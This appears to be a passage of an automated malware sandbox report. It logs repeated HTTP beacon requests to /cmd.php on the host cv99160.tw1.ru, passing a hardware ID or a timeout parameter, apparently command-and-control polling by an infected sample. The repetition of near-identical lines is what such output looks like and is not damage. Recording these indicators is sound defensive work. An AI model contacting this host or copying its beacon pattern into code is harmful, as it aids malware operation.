Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmd.php?timeout=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ru
Source: global traffic	HTTP traffic detected: GET /cmd.php?hwid=B81A4609 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0Host: cv99160.tw1.ruConnection: Keep-Alive
